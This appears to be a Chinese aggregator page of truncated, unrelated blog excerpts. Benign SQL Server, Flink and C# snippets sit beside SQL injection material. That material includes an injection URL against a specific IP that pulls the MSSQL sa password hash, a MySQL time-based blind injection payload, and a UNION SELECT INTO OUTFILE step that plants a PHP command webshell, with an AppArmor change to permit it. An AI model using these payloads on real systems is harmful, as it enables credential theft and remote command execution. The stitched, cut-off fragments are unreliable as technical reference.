写在前面的话 SQL注入可以称得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已经给整个网络世界造成了巨大的破坏.针对SQL漏洞,研究人员也已经开发出了多种不同的利用技术来实施攻击,包括非法访问存储在远程数据库中的数据.从服务器读/写数据.以及通过MSSQL的SA账号完成任意命令执行等等. 在这篇文章中,我们准备利用一个存在于文件下载函数中的SQL注入漏洞,我们将利用存在漏洞的SQL语句并从远程服务器中下载我们所需要的文件.假设现在有一个由用户提供的参数,我们可以将这个参数添加到SQL查询语句之…
最近做了一个小工具,里面涉及到一些取SQL Server 服务器信息的一些东西,找了好久,找到一个不错的,贴出来分享. 系统函数 SERVERPROPERTY ( propertyname ) 包含要返回的服务器属性信息的表达式.propertyname 可以是下列值之一: 属性名称 返回的值 BuildClrVersion 在生成 SQL Server 2005 实例时使用的 Microsoft .NET Framework 公共语言运行时 (CLR) 的版本. 基本数据类型:nvarchar…
flink on yarn的情况下配置的keytab文件会根据每次yarn application 分配taskmanager的变化都是不一样的,在部分场景下用户代码也需要获得keytab文件在yarn上的本地路径,可以通过以下方式拿到文件地址. final Map<String, String> ENV = System.getenv(); final String currDir = ENV.get("PWD"); log.info("Current work…
string dirPath = HttpContext.Current.Server.MapPath("uploads/"); if (Directory.Exists(dirPath)) { //获得目录信息 DirectoryInfo dir = new DirectoryInfo(dirPath); //获得目录文件列表 FileInfo[] files = dir.GetFiles("*.*"); string[] fileNames = new stri…
string str = (Request.HttpContext.Connection.LocalIpAddress.MapToIPv4().ToString() + ":" + Request.HttpContext.Connection.LocalPort; 最终可以得到本地IP及访问端口.…
SELECT @@SERVERNAME as [@@SERVERNAME], SERVERPROPERTY('MachineName') MachineName, SERVERPROPERTY('InstanceName') InstanceName, SERVERPROPERTY('ServerName') ServerName, SERVERPROPERTY('ComputerNamePhysicalNetBIOS') PhysicalNetBIOS 结果 @@SERVERNAME Mach…
漏洞位置:http://168.1.1.81/Information/Search?Keyword=1111 漏洞利用: MSSQL 2000 http://168.1.1.81/Information/Search ?Keyword=1111%' AND (Select  master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa')=1 AND '%'=' 0x01004c1b357f3ec…
1.1注入语句(通过时间注入函数) 数据库名称 localhost:8080/ScriptTest/userServlet?username='union SELECT IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl;--  password=W 判断该数据库的系统用…
    MS SQL SERVER 获取当前数据库文件等信息,适用于多个版本: SELECT dbf.file_id AS FileID , dbf.name AS [FileName] , s.filename AS FileLocation , CAST(dbf.size/128.0 AS DECIMAL(19,2)) AS FileSizeMB , CAST(CAST(FILEPROPERTY(dbf.name, 'SpaceUsed') AS int)/128.0 AS DECIMAL(…
sql注入获取webshell寻找sql注入页面,操作数据库的地方向网站写入sql语句' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php' 发现mysql没有写入权限,于是在apparmor中为mysql添加权限vi /etc/apparmor.d/usr.sbin.mysqld在文件最后添加:/var/www/myzoo/* rw,然后重启apac…